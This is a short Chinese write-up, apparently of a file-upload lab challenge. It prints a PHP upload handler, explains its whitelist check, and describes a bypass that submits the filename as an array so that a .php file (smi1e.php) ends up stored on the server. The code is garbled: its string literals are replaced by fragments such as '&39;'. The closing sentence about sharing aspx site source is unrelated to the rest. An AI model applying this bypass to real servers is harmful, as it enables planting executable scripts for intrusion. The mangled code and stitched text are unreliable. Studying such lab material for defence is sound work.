$is_upload=false;$msg=null;if(!empty($_FILES[&39;])){//检查MIME$allow_type=array(&39;,&39;,&39;);if(!in_array($_FILES[&39;][&39;],$allow_type)){$msg=&34;;}else{//检查文件名$file=empty($_POST[&39;])?$_FILES[&39;][&39;]:$_POST[&39;];if(!is_array($file)){$file=explode(&39;,strtolower($file));}$ext=end($file);$allow_suffix=array(&39;,&39;,&39;);if(!in_array($ext,$allow_suffix)){$msg=&34;;}else{$file_name=reset($file).&39;.$file[count($file)-1];$temp_file=$_FILES[&39;][&39;];$img_path=UPLOAD_PATH.&39;.$file_name;if(move_uploaded_file($temp_file,$img_path)){$msg=&34;;$is_upload=true;}else{$msg=&34;;}}}}else{$msg=&34;;}
in_array(value,array,type)在数组中搜索给定的值
参数
描述
value
必需。规定要在数组搜索的值
array
必需。规定要搜索的数组。
type
可选。如果设置该参数为true,则检查搜索的数据与数组的值的型昰否相同
explode(separator,string,limit)把字符串打散为数组
参数
描述
separator
必需。规定在哪里分割字符串。
string
必需。要分割的字符串。
limit
可选。规走所返回的数组元素的数目。
白名单限制
对文件上传的文件类型做了判断将用户输入的文件名赋值给$fileis_array($file)判断文件名是不是数组,如果不是,使用explode()以.为标记分割为数组如果是数组,则定义后缀名白名单$allow_suffix对数组最后一个元素$ext(正常情况是指后缀名)进行过滤如果符合则取数组的第一个元素reset($file)作为文件名,倒数第二个元素$file[count($file)-1]作为后缀名。
绕过方法
$file[0]为smi1e.php/,也就是reset($file)$file[2]为白名单中的jpg,此时end($file)等于jpg,$file[count($file)-1]为空而$file_name=reset($file).&39;.$file[count($file)-1];,也就是smi1e.php/.于是move_uploaded_file会忽略掉/.,最终上传smi1e.php
关于aspx网站源码分享如何修改的内容到此结束,希望对大家有所帮助。